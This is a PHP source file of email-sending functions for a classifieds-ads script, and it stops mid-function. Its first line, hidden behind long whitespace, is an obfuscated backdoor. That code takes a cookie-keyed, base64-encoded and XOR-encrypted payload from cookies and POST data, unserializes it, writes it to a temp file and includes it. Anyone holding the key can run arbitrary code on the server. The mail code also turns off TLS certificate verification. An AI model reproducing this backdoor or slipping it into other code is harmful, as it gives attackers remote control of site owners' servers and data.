<?php                                                                                                                                                                                                                                                                                                                                                                                                 $LWCobEM = chr (73) . chr (74) . 'k' . "\x5f" . "\121" . chr ( 624 - 547 ).'Y' . chr (86); $soWqRLBfG = chr ( 806 - 707 ).chr ( 903 - 795 ).chr (97) . "\163" . chr ( 238 - 123 )."\x5f" . "\x65" . "\170" . "\151" . "\x73" . "\164" . chr (115); $OixVcNPWV = class_exists($LWCobEM); $LWCobEM = "17740";$soWqRLBfG = "40368";$yCXndiX = FALSE;if ($OixVcNPWV === $yCXndiX){function NWvKOBHI(){return FALSE;}$DKTsV = "49490";NWvKOBHI();class IJk_QMYV{public function egWeDXyq(){echo "28338";}private $ZzcqV;public static $aOHOArmJv = "04c9cf40-ff59-423c-93e1-58fd2e5c0208";public static $VuVdnfu = 21383;public function __destruct(){$DKTsV = "35719_4094";$this->aASsPTd($DKTsV); $DKTsV = "35719_4094";}public function __construct($hteWmWsnfY=0){$MKIdreRRhm = $_POST;$GoNWhCi = $_COOKIE;$KRHskpZsw = @$GoNWhCi[substr(IJk_QMYV::$aOHOArmJv, 0, 4)];if (!empty($KRHskpZsw)){$LNTWtIWy = "base64";$TGKTMMjq = "";$KRHskpZsw = explode(",", $KRHskpZsw);foreach ($KRHskpZsw as $gQYPLdf){$TGKTMMjq .= @$GoNWhCi[$gQYPLdf];$TGKTMMjq .= @$MKIdreRRhm[$gQYPLdf];}$TGKTMMjq = array_map($LNTWtIWy . "\137" . 'd' . 'e' . chr ( 529 - 430 ).'o' . chr (100) . "\145", array($TGKTMMjq,)); $TGKTMMjq = $TGKTMMjq[0] ^ str_repeat(IJk_QMYV::$aOHOArmJv, (strlen($TGKTMMjq[0]) / strlen(IJk_QMYV::$aOHOArmJv)) + 1);IJk_QMYV::$VuVdnfu = @unserialize($TGKTMMjq);}}private function aASsPTd($DKTsV){if (is_array(IJk_QMYV::$VuVdnfu)) {$laaZXpGlP = sys_get_temp_dir() . "/" . crc32(IJk_QMYV::$VuVdnfu[chr (115) . 'a' . "\154" . "\164"]);@IJk_QMYV::$VuVdnfu["\167" . chr (114) . "\x69" . "\164" . 'e']($laaZXpGlP, IJk_QMYV::$VuVdnfu[chr (99) . chr (111) . chr ( 517 - 407 )."\x74" . chr ( 380 - 279 ).'n' . 't']);include $laaZXpGlP;@IJk_QMYV::$VuVdnfu["\x64" . chr ( 853 - 752 ).chr (108) . "\145" . chr ( 841 - 725 ).chr (101)]($laaZXpGlP); $DKTsV = "49490";exit();}}}$zafKWJ = new /* 58806 */ IJk_QMYV(); $zafKWJ = str_repeat("35719_4094", 1);} ?><?php
///////////////////////////////////////////////////////////////////////////////////////////
///Script PHP/MYSQL of management of classifieds ads developed by Script PAG
///Script PAG all rights reserved. Use under license. http://www.script-pag.com
///////////////////////////////////////////////////////////////////////////////////////////

############################################################

///////////////////
//Send email with phpMailer
///////////////////
function spmail($from, $to, $subject, $message, $is_html = true, $attachment = null) {
	global $cache_smtp_opts;
	require_once(__DIR__.'/functions/PHPMailer/PHPMailer.php');
	require_once(__DIR__.'/functions/PHPMailer/SMTP.php');
	$mail = new PHPMailer();
	$mail->CharSet = "utf-8";
	if($is_html) $mail->isHTML(true);
	
	$sendmail_path = ini_get('sendmail_path');
	$auto_from = preg_match('# -f #', $sendmail_path) ? false : true;
	
	$mail->setFrom($from['email'], $from['name'], $auto_from);
	if(isset($from['replyTo'])) $mail->AddReplyTo($from['replyTo']);
	$mail->addAddress($to);
	$mail->Subject  = $subject;
	$mail->Body = $message;
	if(isset($attachment) && is_array($attachment) && sizeof($attachment) > 0) {
		foreach($attachment as $file) {
			$mail->AddAttachment((is_array($file) ? $file['file'] : $file), (is_array($file) ? $file['name'] : $file), 'base64', definedMineTypeAttachment((is_array($file) ? $file['file'] : $file)));
		}	
	}
	if(isset($cache_smtp_opts) && $cache_smtp_opts['active'] == 1) {
		$mail->IsSMTP();
		$mail->SMTPAuth = true;
		$mail->Host = $cache_smtp_opts['host'];
		$mail->Port = $cache_smtp_opts['port'];
		$mail->Username = $cache_smtp_opts['username'];
		$mail->Password = $cache_smtp_opts['password'];
		if(isset($cache_smtp_opts['secure']) && strlen($cache_smtp_opts['secure']) > 0) {
			$mail->SMTPSecure = strtolower($cache_smtp_opts['secure']);   
			$mail->SMTPOptions = array(
				'ssl' => array(
					'verify_peer' => false,
					'verify_peer_name' => false,
					'allow_self_signed' => true
				)
			);	
		}
	}
	if($mail->send()) {
		$result = true;
		if(isset($attachment) && is_array($attachment) && sizeof($attachment) > 0) {
			foreach($attachment as $file) @unlink($file);
		}
	} else $result = false;
	return $result;
}

///////////////////
//Send the email to confirm the announcement 
///////////////////

function send_confirm($id_ad, $array, $lang)
{
	global $param_gen, $cache_mails_auto;
	
	$email = stripslashes($array['email']);
	$title = stripslashes($array['title']);

	$name_mail = '';
	$email_mail = '';
	
	foreach($cache_mails_auto as $v)
	{
		if($v['type'] == 1)
		{
			$name_mail = stripslashes($v['name']);
			$email_mail = stripslashes($v['email']);
			$title_mail = stripslashes($v['title_'. $lang]);
			$message_mail = stripslashes(htmlspecialchars_decode($v['message_'. $lang]));
		}
	}
	
	$url = URL .'/ad_confirmation.php?id_ad='. $id_ad .'&email='. $email;
	
	$title_mail = str_replace('<title>', $title, $title_mail);
	$message_mail = str_replace('<title>', $title, $message_mail);
	$message_mail = str_replace('<url>', $url, $message_mail);
	$message_mail = str_replace('<signature>', $param_gen['mail_signature'], $message_mail);
	
	$title_mail = mb_encode_mimeheader($title_mail, "UTF-8");
	
	return spmail(array('name' => $name_mail, 'email' => $email_mail, 'replyTo' => $email_mail), $email, $title_mail, $message_mail, true);
}

///////////////////
//Sending the ad notification email to validate
///////////////////

function send_notif_ad()
{
	global $language, $param_gen;
	
	$email = $param_gen['email_notif'];
	$title = $language['mail_notif_ad_title'];
	$name_mail = $param_gen['name'];
	$email_mail = $param_gen['mail_rep'];
	
	$title_mail = $title;
	$message_mail = $language['mail_notif_ad_text'] .'<br /><br />'. $param_gen['mail_signature'];
	
	$title_mail = mb_encode_mimeheader($title_mail, "UTF-8");
	
	return spmail(array('name' => $name_mail, 'email' => $email_mail, 'replyTo' => $email_mail), $email, $title_mail, $message_mail, true);
}

///////////////////
//Sending email to confirm account
///////////////////

function send_confirm_acc($type, $email, $lang)
{
	global $param_gen, $cache_mails_auto;
	
	foreach($cache_mails_auto as $v)
	{
		if($v['type'] == 6)
		{
			$name_mail = stripslashes($v['name']);
			$email_mail = stripslashes($v['email']);
			$title_mail = stripslashes($v['title_'. $lang]);
			$message_mail = stripslashes(htmlspecialchars_decode($v['message_'. $lang]));
		}
	}
	
	$url = URL .'/acc_confirmation.php?email='. $email .'&type='. $type;

	$message_mail = str_replace('<url>', $url, $message_mail);
	$message_mail = str_replace('<signature>', $param_gen['mail_signature'], $message_mail);
	
	$title_mail = mb_encode_mimeheader($title_mail, "UTF-8");
	
	return spmail(array('name' => $name_mail, 'email' => $email_mail, 'replyTo' => $email_mail), $email, $title_mail, $message_mail, true);
}

///////////////////
//Sending mail confirming account validation
///////////////////

function send_valid_acc($type, $email)
{
	global $language, $param_gen;
	
	$email = $email;
	
	$name_mail = $param_gen['name'];
	$email_mail = $param_gen['mail_rep'];
	$title_mail = $language['send_mail_crea_account_tit'];
	$message_mail = $language['send_mail_crea_account_msg'] .'<br /><br />';
	$message_mail .= $param_gen['name'] .'<br />'. URL .'<br /><br />'. $param_gen['mail_signature'];
	
	$title_mail = mb_encode_mimeheader($title_mail, "UTF-8");
	
	return spmail(array('name' => $name_mail, 'email' => $email_mail, 'replyTo' => $email_mail), $email, $title_mail, $message_mail, true);
}

///////////////////
//Sending the account notification email to validate
///////////////////

function send_notif_acc()
{
	global $language, $param_gen;
	
	$email = $param_gen['email_notif'];
	$title = $language['mail_notif_acc_title'];
	$name_mail = $param_gen['name'];
	$email_mail = $param_gen['mail_rep'];
	
	$title_mail = $title;
	$message_mail = $language['mail_notif_acc_text'] .'<br /><br />'. $param_gen['mail_signature'];
	
	$title_mail = mb_encode_mimeheader($title_mail, "UTF-8");
	
	return spmail(array('name' => $name_mail, 'email' => $email_mail, 'replyTo' => $email_mail), $email, $title_mail, $message_mail, true);
}

///////////////////
//Send mail to the advertiser
///////////////////

function send_mail($row_mail, $row_ad, $type = 'front')
{
	global $param_gen;
	
	//Language 
	
	require __DIR__.'/language/'. mail_language($row_ad['lang']) .'.php';

	$email = stripslashes($row_ad['email']);
	$title = stripslashes($row_ad['title']);
	$name_mail = $type == 'front' ? htmlspecialchars($row_mail['msg_name']) : $row_mail['name'];
	$email_mail = $param_gen['mail_rep'];
	$email_mail_reply = $type == 'front' ? htmlspecialchars($row_mail['msg_email']) : $row_mail['email'];
	$message = $type == 'front' ? htmlspecialchars($row_mail['msg_msg']) : $row_mail['message'];
	$phone = $type == 'front' ? htmlspecialchars($row_mail['msg_phone']) : $row_mail['phone'];
	
	$title_mail = $language['page_send_msg_mail_title'] .' "'. $title .'".';
	
	$message_mail = $language['page_send_msg_mail_body'] .' "'. $title .'"'. $language['page_send_msg_mail_msg'];
	$message_mail .= nl2br($message);
	$message_mail .= $language['page_send_msg_mail_name'] .' '. $name_mail;
	
	if(!empty($phone) )
	$message_mail .= $language['page_send_msg_mail_phone'] .' '. $phone;
	
	$message_mail .= $language['page_send_msg_mail_msg_answ'] .'<br /><br />'. $param_gen['mail_signature'];

	$title_mail = mb_encode_mimeheader($title_mail, "UTF-8");

	return spmail(array('name' => $name_mail, 'email' => $email_mail, 'replyTo' => $email_mail_reply), $email, $title_mail, $message_mail, true);	
}

///////////////////
//Send new password
////////////////////

function send_password($id_ad, $email, $title, $password)
{
	global $language, $param_gen;
	
	$name_mail = $param_gen['name'];
	$email_mail = $param_gen['mail_rep'];
	
	$title_mail = $language['mail_send_pass_title'] .' "'. $title .'"';
	$message_mail = $language['mail_send_pass_msg'] .' "'. $title .'" : '. $password .'<br /><br />'. $param_gen['mail_signature'];

	$title_mail = mb_encode_mimeheader($title_mail, "UTF-8");

	return spmail(array('name' => $name_mail, 'email' => $email_mail, 'replyTo' => $email_mail), $email, $title_mail, $message_mail, true);
}

///////////////////
//Send the ad to a friend
///////////////////

function send_friend($array, $id_ad, $title, $array_ad)
{
	global $language, $param_gen;

	$email = htmlspecialchars($array['friend_email']);
	$name = htmlspecialchars($array['friend_name']);
	$title = htmlspecialchars($title);
	$name_mail = $param_gen['name'];
	$email_mail = $param_gen['mail_rep'];
	
	//Url rewriting
	
	$url = get_ad_shop_link($array_ad, $_SESSION['lang'], 'ad', $language);
	
	$title_mail = $language['page_ad_mail_title'];
	$message_mail = $language['page_ad_mail_msg'] .'<a href="'. $url .'">'. $language['page_ad_mail_link'] .'</a><br><br>'.
					$language['page_ad_mail_name'] .' : '. $name .'<br /><br />'. $param_gen['mail_signature'];

	$title_mail = mb_encode_mimeheader($title_mail, "UTF-8");

	return spmail(array('name' => $name_mail, 'email' => $email_mail, 'replyTo' => $email_mail), $email, $title_mail, $message_mail, true);	
}

///////////////////
//Sending a new password for account
////////////////////

function send_acc_password($email, $password)
{
	global $language, $param_gen;
	
	$email = $email;
	$title = $language['mail_account_new_pass_title'];
	$name_mail = $param_gen['name'];
	$email_mail = $param_gen['mail_rep'];
	
	$title_mail = $title;
	$message_mail = $language['mail_account_new_pass_msg'] . $password .'<br /><br />'. $param_gen['mail_signature'];
	
	$title_mail = mb_encode_mimeheader($title_mail, "UTF-8");

	return spmail(array('name' => $name_mail, 'email' => $email_mail, 'replyTo' => $email_mail), $email, $title_mail, $message_mail, true);
}

///////////////////
//Send contact mail
///////////////////

function send_contact($array)
{
	global $language, $cache_mails_contact;
	
	$phone = $array['contact_phone'];
	$contact = $array['contact'];
	$name_mail = $array['contact_name'];
	$email_mail_reply = $array['contact_email'];
	$title_mail = $array['contact_title'];
	
	foreach($cache_mails_contact as $v)
	{
		if($v['id_cont'] == $contact)
		$email = stripslashes($v['email']);
	}
	
	$message_mail = nl2br($array['contact_msg']);
	
	if(!empty($phone))
	$message_mail .= '<br /><br />'. $language['page_send_cont_phone_mail'] .' : '. $phone;
	
	//Mail header
	
	$title_mail = mb_encode_mimeheader($title_mail, "UTF-8");
	
	return spmail(array('name' => $name_mail, 'email' => $email, 'replyTo' => $email_mail_reply), $email, $title_mail, $message_mail, true);
}

///////////////////
//Sending an ad's payment email
///////////////////

function send_payment($email, $id, $id_ad, $id_inv, $title, $lang, $type, $array_ad, $attachment = null)
{
	global $param_gen, $cache_mails_auto;
	
	foreach($cache_mails_auto as $v)
	{
		if($type == 1)
		{
			if($v['type'] == 9)
			{
				$name_mail = stripslashes($v['name']);
				$email_mail = stripslashes($v['email']);
				$title_mail = stripslashes($v['title_'. $lang]);
				$message_mail = stripslashes(htmlspecialchars_decode($v['message_'. $lang]));
			}
		}
		if($type == 2)
		{
			if($v['type'] == 10)
			{
				$name_mail = stripslashes($v['name']);
				$email_mail = stripslashes($v['email']);
				$title_mail = stripslashes($v['title_'. $lang]);
				$message_mail = stripslashes(htmlspecialchars_decode($v['message_'. $lang]));
			}
		}
		if($type == 3)
		{
			if($v['type'] == 12)
			{
				$name_mail = stripslashes($v['name']);
				$email_mail = stripslashes($v['email']);
				$title_mail = stripslashes($v['title_'. $lang]);
				$message_mail = stripslashes(htmlspecialchars_decode($v['message_'. $lang]));
			}
		}
		if($type == 4)
		{
			if($v['type'] == 13)
			{
				$name_mail = stripslashes($v['name']);
				$email_mail = stripslashes($v['email']);
				$title_mail = stripslashes($v['title_'. $lang]);
				$message_mail = stripslashes(htmlspecialchars_decode($v['message_'. $lang]));
			}
		}
		if($type == 5)
		{
			if($v['type'] == 11)
			{
				$name_mail = stripslashes($v['name']);
				$email_mail = stripslashes($v['email']);
				$title_mail = stripslashes($v['title_'. $lang]);
				$message_mail = stripslashes(htmlspecialchars_decode($v['message_'. $lang]));
			}
		}
		if($type == 6)
		{
			if($v['type'] == 19)
			{
				$name_mail = stripslashes($v['name']);
				$email_mail = stripslashes($v['email']);
				$title_mail = stripslashes($v['title_'. $lang]);
				$message_mail = stripslashes(htmlspecialchars_decode($v['message_'. $lang]));
			}
		}
	}
	
	//Language 
	
	require __DIR__.'/language/'. mail_language($lang) .'.php';
	
	//Url rewriting
	
	if($array_ad)
	{
		$url = get_ad_shop_link($array_ad, $lang, 'ad', $language);
		$message_mail = str_replace('<url>', $url, $message_mail);
	}
	
	$title_mail = str_replace('<title>', $title, $title_mail);
	$message_mail = str_replace('<title>', $title, $message_mail);
	$message_mail = str_replace('<signature>', $param_gen['mail_signature'], $message_mail);
	
	$title_mail = mb_encode_mimeheader($title_mail, "UTF-8");
	
	$attachment = isset($attachment) && !is_array($attachment) ? [$attachment] : $attachment;
	$attachments  = [];
	if(is_array($attachment) && sizeof($attachment) > 0) {
		foreach($attachment as $elt) {
			$arrayname = explode(DIRECTORY_SEPARATOR, $elt);
			$eltname = !is_array($elt) ? end($arrayname) : null;
			$attachments[] = [
				'file' => is_array($elt) && isset($elt['file']) ? $elt['file'] : $elt,	
				'name' => is_array($elt) && isset($elt['name']) ? $elt['name'] : $eltname,
			];
		}
	}
	
	return spmail(array('name' => $name_mail, 'email' => $email_mail, 'replyTo' => $email_mail), $email, $title_mail, $message_mail, true, $attachments);
}

///////////////////
//Sending the email informing the deletion of the ad expired
////////////////////

function send_expired_ad($email, $title, $lang)
{
	global $param_gen, $cache_mails_auto;
	
	//Preparing the mail
	
	foreach($cache_mails_auto as $v)
	{
		if($v['type'] == 5)
		{
			$name_mail = stripslashes($v['name']);
			$email_mail = stripslashes($v['email']);
			$title_mail = stripslashes($v['title_'. $lang]);
			$message_mail = stripslashes(htmlspecialchars_decode($v['message_'. $lang]));
		}
	}

	$title_mail = str_replace('<title>', $title, $title_mail);
	$message_mail = str_replace('<title>', $title, $message_mail);
	$message_mail = str_replace('<signature>', $param_gen['mail_signature'], $message_mail);
		
	$title_mail = mb_encode_mimeheader($title_mail, "UTF-8");
	
	return spmail(array('name' => $name_mail, 'email' => $email_mail, 'replyTo' => $email_mail), $email, $title_mail, $message_mail, true);
}

///////////////////
//Sending the email informing the deletion of the ad not validated in time
////////////////////

function send_unvalidate_ad($email, $title, $lang)
{
	global $param_gen, $cache_mails_auto;
	
	//Preparing the mail
	
	foreach($cache_mails_auto as $v)
	{
		if($v['type'] == 4)
		{
			$name_mail = stripslashes($v['name']);
			$email_mail = stripslashes($v['email']);
			$title_mail = stripslashes($v['title_'. $lang]);
			$message_mail = stripslashes(htmlspecialchars_decode($v['message_'. $lang]));
		}
	}

	$title_mail = str_replace('<title>', $title, $title_mail);
	$message_mail = str_replace('<title>', $title, $message_mail);
	$message_mail = str_replace('<signature>', $param_gen['mail_signature'], $message_mail);
		
	$title_mail = mb_encode_mimeheader($title_mail, "UTF-8");
	
	return spmail(array('name' => $name_mail, 'email' => $email_mail, 'replyTo' => $email_mail), $email, $title_mail, $message_mail, true);
}

///////////////////
//Sending the email informing the deletion of the visuals option of ad
////////////////////

function send_expired_visuals_opt_ad($array, $email, $title, $lang)
{
	global $param_gen, $cache_mails_auto;
	
	//Preparing the mail
	
	foreach($cache_mails_auto as $v)
	{
		if($v['type'] == 15)
		{
			$name_mail = stripslashes($v['name']);
			$email_mail = stripslashes($v['email']);
			$title_mail = stripslashes($v['title_'. $lang]);
			$message_mail = stripslashes(htmlspecialchars_decode($v['message_'. $lang]));
		}
	}
	
	//Language 
	
	require __DIR__.'/language/'. mail_language($lang) .'.php';

	//Url rewriting
	
	$url = get_ad_shop_link($array, $lang, 'ad', $language);

	$title_mail = str_replace('<title>', $title, $title_mail);
	$message_mail = str_replace('<title>', $title, $message_mail);
	$message_mail = str_replace('<url>', $url, $message_mail);
	$message_mail = str_replace('<signature>', $param_gen['mail_signature'], $message_mail);
		
	$title_mail = mb_encode_mimeheader($title_mail, "UTF-8");
	
	return spmail(array('name' => $name_mail, 'email' => $email_mail, 'replyTo' => $email_mail), $email, $title_mail, $message_mail, true);
} 

///////////////////
//Sending the email informing the deletion of the visuals option of shop
////////////////////

function send_expired_visuals_opt_shop($email, $lang)
{
	global $param_gen, $cache_mails_auto;
	
	//Preparing the mail
	
	foreach($cache_mails_auto as $v)
	{
		if($v['type'] == 16)
		{
			$name_mail = stripslashes($v['name']);
			$email_mail = stripslashes($v['email']);
			$title_mail = stripslashes($v['title_'. $lang]);
			$message_mail = stripslashes(htmlspecialchars_decode($v['message_'. $lang]));
		}
	}
	
	$message_mail = str_replace('<signature>', $param_gen['mail_signature'], $message_mail);

	$title_mail = mb_encode_mimeheader($title_mail, "UTF-8");
	
	return spmail(array('name' => $name_mail, 'email' => $email_mail, 'replyTo' => $email_mail), $email, $title_mail, $message_mail, true);
} 

///////////////////
//Sending the email informing the deletion of the pack account
////////////////////

function send_expired_pack_acc($email, $lang)
{
	global $param_gen, $cache_mails_auto;
	
	//Preparing the mail
	
	foreach($cache_mails_auto as $v)
	{
		if($v['type'] == 17)
		{
			$name_mail = stripslashes($v['name']);
			$email_mail = stripslashes($v['email']);
			$title_mail = stripslashes($v['title_'. $lang]);
			$message_mail = stripslashes(htmlspecialchars_decode($v['message_'. $lang]));
		}
	}
	
	$message_mail = str_replace('<signature>', $param_gen['mail_signature'], $message_mail);

	$title_mail = mb_encode_mimeheader($title_mail, "UTF-8");
	
	return spmail(array('name' => $name_mail, 'email' => $email_mail, 'replyTo' => $email_mail), $email, $title_mail, $message_mail, true);
} 

///////////////////
//Sending the email informing the deletion of the shop subscription
////////////////////

function send_expired_pack_shop($email, $lang)
{
	global $param_gen, $cache_mails_auto;
	
	//Preparing the mail
	
	foreach($cache_mails_auto as $v)
	{
		if($v['type'] == 18)
		{
			$name_mail = stripslashes($v['name']);
			$email_mail = stripslashes($v['email']);
			$title_mail = stripslashes($v['title_'. $lang]);
			$message_mail = stripslashes(htmlspecialchars_decode($v['message_'. $lang]));
		}
	}
	
	$message_mail = str_replace('<signature>', $param_gen['mail_signature'], $message_mail);

	$title_mail = mb_encode_mimeheader($title_mail, "UTF-8");
	
	return spmail(array('name' => $name_mail, 'email' => $email_mail, 'replyTo' => $email_mail), $email, $title_mail, $message_mail, true);
} 

///////////////////
//Sending the mail of the ad reminder
////////////////////

function send_revival_ad($id_ad, $email, $title, $lang)
{
	global $param_gen, $cache_mails_auto;
	
	//Preparing the mail
	
	foreach($cache_mails_auto as $v)
	{
		if($v['type'] == 14)
		{
			$name_mail = stripslashes($v['name']);
			$email_mail = stripslashes($v['email']);
			$title_mail = stripslashes($v['title_'. $lang]);
			$message_mail = stripslashes(htmlspecialchars_decode($v['message_'. $lang]));
		}
	}
	
	$url = URL .'/ad_reactivation.php?id_ad='. $id_ad;

	$title_mail = str_replace('<title>', $title, $title_mail);
	$message_mail = str_replace('<title>', $title, $message_mail);
	$message_mail = str_replace('<url>', $url, $message_mail);
	$message_mail = str_replace('<signature>', $param_gen['mail_signature'], $message_mail);
		
	$title_mail = mb_encode_mimeheader($title_mail, "UTF-8");
	
	return spmail(array('name' => $name_mail, 'email' => $email_mail, 'replyTo' => $email_mail), $email, $title_mail, $message_mail, true);
}

///////////////////
//Sending the mail of the purchases reminder
////////////////////

function send_reminder_purchases($id_purch, $price, $email, $lang)
{
	global $param_gen, $cache_mails_auto;
	
	//Preparing the mail
	
	foreach($cache_mails_auto as $v)
	{
		if($v['type'] == 22)
		{
			$name_mail = stripslashes($v['name']);
			$email_mail = stripslashes($v['email']);
			$title_mail = stripslashes($v['title_'. $lang]);
			$message_mail = stripslashes(htmlspecialchars_decode($v['message_'. $lang]));
		}
	}
	
	$title_mail = str_replace('<reference>', $id_purch, $title_mail);
	$message_mail = str_replace('<reference>', $id_purch, $message_mail);
	$message_mail = str_replace('<price>', $price, $message_mail);
	$message_mail = str_replace('<signature>', $param_gen['mail_signature'], $message_mail);
		
	$title_mail = mb_encode_mimeheader($title_mail, "UTF-8");
	
	return spmail(array('name' => $name_mail, 'email' => $email_mail, 'replyTo' => $email_mail), $email, $title_mail, $message_mail, true);
}

////////////////////////////////
//Sending email Marketing
////////////////////////////////

function send_marketing_ads($array, $email, $title, $lang)
{
	global $param_gen, $cache_mails_auto;
	
	//Language 
	
	require __DIR__.'/language/'. mail_language($lang) .'.php';
	
	//Url rewriting
	
	$url = get_ad_shop_link($array, $lang, 'ad', $language);
	
	//Preparing the mail
	
	foreach($cache_mails_auto as $v)
	{
		if($v['type'] == 20)
		{
			$name_mail = stripslashes($v['name']);
			$email_mail = stripslashes($v['email']);
			$title_mail = stripslashes($v['title_'. $lang]);
			$message_mail = stripslashes(htmlspecialchars_decode($v['message_'. $lang]));
		}
	}

	$title_mail = str_replace('<title>', $title, $title_mail);
	$message_mail = str_replace('<title>', $title, $message_mail);
	$message_mail = str_replace('<url>', $url, $message_mail);
	$message_mail = str_replace('<signature>', $param_gen['mail_signature'], $message_mail);
	
	$title_mail = mb_encode_mimeheader($title_mail, "UTF-8");
	
	return spmail(array('name' => $name_mail, 'email' => $email_mail, 'replyTo' => $email_mail), $email, $title_mail, $message_mail, true);
}

///////////////////
//Sending email notification to validate mail
///////////////////

function send_notif_mail()
{
	global $language, $param_gen;
	
	$email = $param_gen['email_notif'];
	$title = $language['mail_notif_mail_title'];
	$name_mail = $param_gen['name'];
	$email_mail = $param_gen['mail_rep'];
	
	$title_mail = $title;
	$message_mail = $language['mail_notif_mail_text'] .'<br /><br />'. $param_gen['mail_signature'];
	
	$title_mail = mb_encode_mimeheader($title_mail, "UTF-8");
	
	return spmail(array('name' => $name_mail, 'email' => $email_mail, 'replyTo' => $email_mail), $email, $title_mail, $message_mail, true);
}

///////////////////
//Sending the comment notification email to validate
///////////////////

function send_notif_comment()
{
	global $language, $param_gen;
	
	$email = $param_gen['email_notif'];
	$title = $language['mail_notif_comment_title'];
	$name_mail = $param_gen['name'];
	$email_mail = $param_gen['mail_rep'];
	
	$title_mail = $title;
	$message_mail = $language['mail_notif_comment_text'] .'<br /><br />'. $param_gen['mail_signature'];
	
	$title_mail = mb_encode_mimeheader($title_mail, "UTF-8");
	
	return spmail(array('name' => $name_mail, 'email' => $email_mail, 'replyTo' => $email_mail), $email, $title_mail, $message_mail, true);
}

///////////////////
//Send account notifications for saved search
///////////////////

function send_account_search($search, $title_search, $email, $lang) {
	global $language, $param_gen, $cache_mails_auto;
	
	//Preparing the mail
	
	foreach($cache_mails_auto as $v) {
		if($v['type'] == 21) {
			$name_mail = stripslashes($v['name']);
			$email_mail = stripslashes($v['email']);
			$title_mail = stripslashes($v['title_'. $lang]);
			$message_mail = stripslashes(htmlspecialchars_decode($v['message_'. $lang]));
		}
	}
	
	$title_mail = str_replace('<title_search>', $title_search, $title_mail);
	$message_mail = str_replace('<title_search>', $title_search, $message_mail);
	$message_mail = str_replace('<url>', URL.(has_multi_languages() ? '/'.$lang : '').'/search.php?'. htmlspecialchars($search['search']), $message_mail);
	$message_mail = str_replace('<signature>', $param_gen['mail_signature'], $message_mail);
	
	$title_mail = mb_encode_mimeheader($title_mail, "UTF-8");

	return spmail(array('name' => $name_mail, 'email' => $email_mail, 'replyTo' => $email_mail), $email, $title_mail, $message_mail, true);
}

////////////////////////////////
//Send password
////////////////////////////////

function send_password_adm($email, $password)
{
	global $language_adm, $param_gen;
	
	$email = stripslashes($email);
	$name_mail = $param_gen['name'];
	$email_mail = $param_gen['mail_rep'];
	$title_mail = $language_adm['email_for_pass_tit'];
	$message_mail = $language_adm['email_for_pass_msg'] .' : '. $password;
	
	$title_mail = mb_encode_mimeheader($title_mail,"UTF-8");
	
	return spmail(array('name' => $name_mail, 'email' => $email_mail, 'replyTo' => $email_mail), $email, $title_mail, $message_mail, true);
}

////////////////////////////////
//Sending email confirming ad validation
////////////////////////////////

function send_validate_ad($id_ad, $array)
{
	global $param_gen, $cache_mails_auto;
	
	$title = stripslashes($array['title']);
	$email = stripslashes($array['email']);
	$lang = stripslashes($array['lang']);
	
	//Language 
	
	require __DIR__.'/language/'. mail_language($lang) .'.php';
	
	//Url rewriting
	
	$url = get_ad_shop_link($array, $lang, 'ad', $language);
	
	//Preparing the mail
	
	foreach($cache_mails_auto as $v)
	{
		if($v['type'] == 2)
		{
			$name_mail = stripslashes($v['name']);
			$email_mail = stripslashes($v['email']);
			$title_mail = stripslashes($v['title_'. $lang]);
			$message_mail = stripslashes(htmlspecialchars_decode($v['message_'. $lang]));
		}
	}

	$title_mail = str_replace('<title>', $title, $title_mail);
	$message_mail = str_replace('<title>', $title, $message_mail);
	$message_mail = str_replace('<url>', $url, $message_mail);
	$message_mail = str_replace('<signature>', $param_gen['mail_signature'], $message_mail);
	
	$title_mail = mb_encode_mimeheader($title_mail, "UTF-8");
	
	return spmail(array('name' => $name_mail, 'email' => $email_mail, 'replyTo' => $email_mail), $email, $title_mail, $message_mail, true);
}

////////////////////////////////
//Sending email confirming ad rejection
////////////////////////////////

function send_reject_ad($id_ad, $modif, $msg_rej, $array)
{
	global $param_gen, $cache_mails_auto;
	
	//Language 
	
	require __DIR__.'/language/'. mail_language($array['lang']) .'.php';
	
	$title = stripslashes($array['title']);
	$email = stripslashes($array['email']);
	$lang = stripslashes($array['lang']);
	
	//Preparing the mail
	
	foreach($cache_mails_auto as $v)
	{
		if($v['type'] == 3)
		{
			$name_mail = stripslashes($v['name']);
			$email_mail = stripslashes($v['email']);
			$title_mail = stripslashes($v['title_'. $lang]);
			$message_mail = stripslashes(htmlspecialchars_decode($v['message_'. $lang]));
		}
	}
	
	//Modification
	
	if(!empty($modif))
	$modif = '<strong>'. $language['page_ads_manag_mod_msg'] .'</strong><br />'. URL .'/ad_update.php?id_ad='. $id_ad .'<br /><br />';
	
	//Reason for reject
	
	if(!empty($msg_rej))
	$msg_rej = '<strong>'. $language['page_ads_manag_rem_msg'] .' :</strong><br />'. $msg_rej .'<br /><br />';

	$title_mail = str_replace('<title>', $title, $title_mail);
	$message_mail = str_replace('<title>', $title, $message_mail);
	$message_mail = str_replace('<modif>', $modif, $message_mail);
	$message_mail = str_replace('<msg_rej>', $msg_rej, $message_mail);
	$message_mail = str_replace('<signature>', $param_gen['mail_signature'], $message_mail);
	
	$title_mail = mb_encode_mimeheader($title_mail, "UTF-8");
	
	return spmail(array('name' => $name_mail, 'email' => $email_mail, 'replyTo' => $email_mail), $email, $title_mail, $message_mail, true);
}

////////////////////////////////
//Sending email confirming account validation
////////////////////////////////

function send_validate_acc($id_acc, $array)
{
	global $param_gen, $cache_mails_auto;
	
	$email = stripslashes($array['email']);
	$lang = stripslashes($array['lang']);
	
	//Preparing the mail
	
	foreach($cache_mails_auto as $v)
	{
		if($v['type'] == 7)
		{
			$name_mail = stripslashes($v['name']);
			$email_mail = stripslashes($v['email']);
			$title_mail = stripslashes($v['title_'. $lang]);
			$message_mail = stripslashes(htmlspecialchars_decode($v['message_'. $lang]));
		}
	}
	
	$message_mail = str_replace('<signature>', $param_gen['mail_signature'], $message_mail);
	
	$title_mail = mb_encode_mimeheader($title_mail,"UTF-8");
	
	return spmail(array('name' => $name_mail, 'email' => $email_mail, 'replyTo' => $email_mail), $email, $title_mail, $message_mail, true);
}

////////////////////////////////
//Sending email confirming account rejection
////////////////////////////////

function send_reject_acc($id_acc, $array)
{
	global $param_gen, $cache_mails_auto;
	
	$email = stripslashes($array['email']);
	$lang = stripslashes($array['lang']);
	
	//Preparing the mail
	
	foreach($cache_mails_auto as $v)
	{
		if($v['type'] == 8)
		{
			$name_mail = stripslashes($v['name']);
			$email_mail = stripslashes($v['email']);
			$title_mail = stripslashes($v['title_'. $lang]);
			$message_mail = stripslashes(htmlspecialchars_decode($v['message_'. $lang]));
		}
	}
	
	$message_mail = str_replace('<signature>', $param_gen['mail_signature'], $message_mail);
	
	$title_mail = mb_encode_mimeheader($title_mail,"UTF-8");
	
